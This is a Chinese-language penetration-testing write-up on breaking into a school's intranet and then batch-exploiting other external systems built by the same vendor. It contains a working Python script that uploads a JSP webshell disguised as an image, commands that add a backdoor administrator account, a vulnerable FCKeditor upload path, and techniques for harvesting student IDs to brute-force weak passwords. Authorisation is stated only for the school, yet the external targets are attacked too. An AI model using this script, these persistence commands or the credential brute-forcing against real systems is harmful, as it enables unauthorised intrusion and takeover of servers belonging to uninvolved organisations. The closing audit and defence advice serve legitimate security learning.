一次从内网到外网,黑盒到白盒的批量挖洞经历
字数 1716 2025-08-06 01:23:31
从内网到外网、黑盒到白盒的批量漏洞挖掘实战教程
前言
本教程详细记录了一次从内网渗透到外网扩展、从黑盒测试到白盒审计的完整漏洞挖掘过程。适合有一定基础的渗透测试学习者参考,但请注意所有测试必须获得合法授权。
内网渗透阶段
1. 授权与信息收集
- 首先获取学校信息中心的渗透测试授权
- 确定目标网段:10.x.x.0/24(基于辅助运维获得的知识)
- 使用工具:Goby进行存活IP和端口扫描
2. 漏洞扫描与识别
- 使用WebAliveScan工具批量扫描存活IP:
- 获取网站标题
- 进行Web指纹识别
- 执行基础目录爆破
- 工具地址:https://github.com/broken5/WebAliveScan
3. 目标选择与攻击
- 优先选择:
- 带有登录界面的系统
- 目录扫描发现敏感目录的系统
- 发现xx教学平台存在漏洞:
- 无验证码的登录界面
- 根据学号规律爆破(如2018xx 123456)
- 成功获取弱口令:2018xx/123456
4. 权限提升
- 常规路径:xxx → 控制面板 → 上传头像 → Getshell
- 使用多种JSP Webshell测试,最终成功:
- JSP Webshell仓库:https://github.com/threedr3am/JSP-Webshells
- 直接获得administrator权限,无需额外提权
外网批量挖掘
1. 目标扩展
- 通过内网系统发现"技术支持:xx公司"
- 使用FOFA搜索关键词:"xxx有限公司"扩展目标
2. 学号收集与爆破
- 通过Google语法收集目标学校学号信息
- 常见学号规律:
- 20010077(入学时间+报到位次)
- 20180310105(入校年数+专业+班级+序号)
- 2018117001(入学年+1本科+专业代号+序号)
3. 未授权文件上传漏洞利用
- 发现多个系统存在未授权文件上传漏洞
- 技术要点:
- 修改Burp Suite中的HOST头为目标地址
- 直接上传图片马(可修改为jsp后缀)
- 成功获取Webshell
4. 权限维持
- 通过Webshell添加用户:
net user mstlab mstlab /add net localgroup administrators mstlab /add - 在服务器桌面发现敏感信息:测试账号和默认密码
5. 横向扩展
- 利用获取的凭证测试该公司其他系统
- 发现多个系统存在相同漏洞模式
6. 老版本FCKeditor漏洞
- 部分系统使用老版本FCKeditor
- 路径:
/xxx/FCKeditor/editor/xxx/jsp/upload.jsp - 可上传哥斯拉Webshell
漏洞利用自动化
批量利用脚本
import requests
# 读取webshell文件
file = open('shell.txt', 'r', encoding='utf-8')
shell = file.read()
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"}
cookies = {"JSESSIONID": "4F0ADEADB70AD18922C8C436837A5A3D"}
# 输入目标
url = input("input the TARGET(example:[url]https://127.0.0.1:1080[/url])>")
# 定义上传目录
upload_url = url + "/xxx?action=xx"
files = {'file': ("shell.jsp", shell, "image/png")}
# POST数据
upload_data = {
"start": "forum_update_set",
"forum_update_set": "updatacord",
"forum_nick": "11",
"forum_signature": " ",
"forum_pic_2": " ",
}
# 上传
upload_res = requests.post(upload_url, headers=headers, cookies=cookies, data=upload_data, files=files)
# 解析返回路径
path = upload_res.text
path = path[path.find('data')+4:path.rfind('jsp')]
# 组合完整URL
shell_url = url + "/dta" + path + "jsp?cmd=whoami"
# 输出结果
print('shell is here:' + shell_url)
白盒审计阶段
1. 源码获取
- 常见源码位置:
- Tomcat的webapps目录
- Tomcat/conf/Catalina/localhost/下的配置文件
- 自定义工程路径(如abc.xml中配置)
2. 代码审计
- 查看web.xml分析全局配置和路由
- 重点关注Filter类(如QDKFilte)
- 反编译JAR包(使用IDEA的"Java Bytecode Decompiler"插件)
3. 文件上传漏洞分析
-
第一个文件上传漏洞:
- 通过web.xml定位上传处理类
- 直接使用getFileExtendName()获取文件后缀
- 未做任何过滤直接拼接保存路径
-
第二个文件上传漏洞:
- 路径:
/xxx/FCKeditor/editor/xxx/jsp/upload.jsp - 同样直接获取后缀名拼接,无黑白名单过滤
- 路径:
4. 漏洞函数分析
// 直接获取文件后缀的函数
getFileExtendName(var13) {
// 无任何过滤逻辑
// 直接返回文件后缀
}
总结与建议
渗透测试流程总结
- 合法授权 → 2. 信息收集 → 3. 漏洞扫描 → 4. 漏洞验证 → 5. 权限获取 → 6. 横向扩展 → 7. 代码审计
防御建议
- 对所有上传功能实施严格的白名单过滤
- 对学号等敏感信息实施更安全的认证机制
- 及时更新老旧组件(如FCKeditor)
- 实施最小权限原则
- 敏感信息不应明文存储在服务器上
学习建议
- 从授权内网环境开始练习
- 掌握常见工具链(Goby、Burp Suite等)
- 学习基础开发知识有助于代码审计
- 关注漏洞原理而不仅是利用方法
- 参与合法漏洞奖励计划积累经验
本教程展示了从基础信息收集到高级代码审计的完整渗透测试流程,强调了理解漏洞原理的重要性,而不仅仅是利用已知漏洞。